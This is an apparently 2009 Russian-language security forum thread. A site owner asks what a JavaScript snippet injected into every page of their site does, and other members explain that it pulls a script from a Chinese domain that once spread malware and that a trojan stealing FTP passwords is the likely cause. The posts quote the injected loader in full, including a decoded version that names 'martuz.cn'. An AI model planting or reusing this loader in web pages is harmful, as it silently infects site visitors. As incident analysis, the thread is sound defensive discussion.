Появился странный javascript в html-коде.

Printable View

16.05.2009, 09:52
borber

Вложений: 1

Появился странный javascript в html-коде.

Добрый день.
На всех html-страницах подопечного сайта появился javascript (прилагаю в текстовом файле). Как прописался - неизвестно, хостер не знает. Располагается между тегами </head> и <body>. Сайт сильно тормозил.
После первого обнаружения удалили, однако он через некоторое время появился снова, кажется, немного другого вида (первый, к сожалению, не сохранил). Удалили опять.
Может ли кто-нибудь сказать, что этот скрипт делает и куда что отправляет? Подозреваем, что надо менять логин-пароль доступа к сайту - правильно ли подозреваем?
Заранее большое спасибо.
16.05.2009, 10:31
Гриша

[QUOTE]var a="ScriptEngine",
b="Version()+",j="",
u=navigator.userAgent;
if((u.indexOf("Win")>0)&&(u.indexOf("NT 6")<0)&&(document.cookie.indexOf("miek=1")<0)&&(typeof(zrvzts)!=typeof("A"))){zrvzts="A";
eval("if(window."+a+")j=j+"+a+"Major"+b+a+"Minor"+b+a+"Build"+b+"j;");
document.write("<script src=//****.cn/rss/?id="+j+"><\/script>");}[/QUOTE]

Этот скрипт редиректит на китайский ресурс, который сейчас не работает...
Раньше там сливалась зараза...

[QUOTE]Может ли кто-нибудь сказать, что этот скрипт делает и куда что отправляет? Подозреваем, что надо менять логин-пароль доступа к сайту - правильно ли подозреваем?[/QUOTE]

Правильно, а еще лучше в [URL="http://virusinfo.info/forumdisplay.php?f=46"]Помогите[/URL] по [URL="http://virusinfo.info/showthread.php?t=1235"]правилам[/URL]
17.05.2009, 00:25
borber

[QUOTE=Гриша;402363]Правильно, а еще лучше в [URL="http://virusinfo.info/forumdisplay.php?f=46"]Помогите[/URL] по [URL="http://virusinfo.info/showthread.php?t=1235"]правилам[/URL][/QUOTE]
Так в Помогите вы компьютер помогаете спасать - а с сайтом что там делать? Или намекаете, что на нашем компе может быть что-то подсажено от китайцев этих?
17.05.2009, 00:28
bolshoy kot

borber, это у Вас на компьютере программа, которая либо передает китайцам пароли к сайтам, либо вставляет к Вам на сайт код. Это делается путем чтения пароля FTP-клиента.
17.05.2009, 00:29
borber

О! Написал предыдущее сообщение, посмотрел на сайт а там снова вот что:
[QUOTE]<script language=javascript></script>[/QUOTE]
Этот расшифруете? Заранее спасибо, идем менять доступ к сайту!!
17.05.2009, 05:56
zerocorporated

[QUOTE=borber;402637]Заранее спасибо, идем менять доступ к сайту!![/QUOTE]

Бесполезно. Если у вас Троян на ПК, то пароли тут же "уйдут" снова.
Вам в [URL="http://virusinfo.info/showthread.php?t=1235"]"Помогите!"[/URL], а потом уже менять пароли/проверять сайт нужно.

[size="1"][color="#666686"][B][I]Добавлено через 6 минут[/I][/B][/color][/size]

[QUOTE=borber;402637]Этот расшифруете?[/QUOTE]
[CODE] var a="ScriptEngine",b=" Version()+",j="",u=nav%6 9gator.userAgent;
if((u%2 eindexOf("Chrome")<0)&&(u. indexOf("Win")>0)&&(u.indexOf("% 4eT 6")<0)&&(document.coo% 6bie.indexOf("miek=1")<0)&&( typeof(zrvzts)!=typeof("A")))
{
zr vzts="A";
eval("if(window."+a+" )j=j+"+a+"Major"+b+a+"Minor"+b +a+"Build"+b+"j;
");
document.write("<script src%3 d//m"+"artuz.cn/vid/?id= "+j+"><\/script>");}[/CODE]

Если вам это как то поможет.